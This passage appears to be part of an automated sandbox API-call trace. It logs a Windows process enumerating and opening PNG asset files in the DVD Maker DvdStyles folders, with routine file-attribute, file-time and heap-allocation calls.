ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0069.385] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0069.385] GetLastError () returned 0x12 [0069.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.385] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0069.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0069.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.386] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0069.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.386] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0069.387] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0069.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa1fc38 [0069.387] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa1fc38, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa1fc38, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0069.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa1fc38) returned 1 [0069.387] NtClose (Handle=0x124) returned 0x0 [0069.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0069.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0069.387] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0069.720] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.731] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0069.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0069.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ab68 [0069.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1b588 [0069.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.775] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0069.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ab88 [0069.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.798] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0069.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1aba8 [0069.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1b690 [0069.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.830] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0069.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1abc8 [0069.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1b798 [0069.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.865] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0069.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1abe8 [0069.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1b8a0 [0069.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.882] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0069.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ac08 [0069.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1b9a8 [0069.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.901] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0070.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ac28 [0070.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1bab0 [0070.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.352] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ac48 [0070.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1bbb8 [0070.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0070.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ac68 [0070.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1bcc0 [0070.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0070.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ac88 [0070.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1bdc8 [0070.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.353] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, 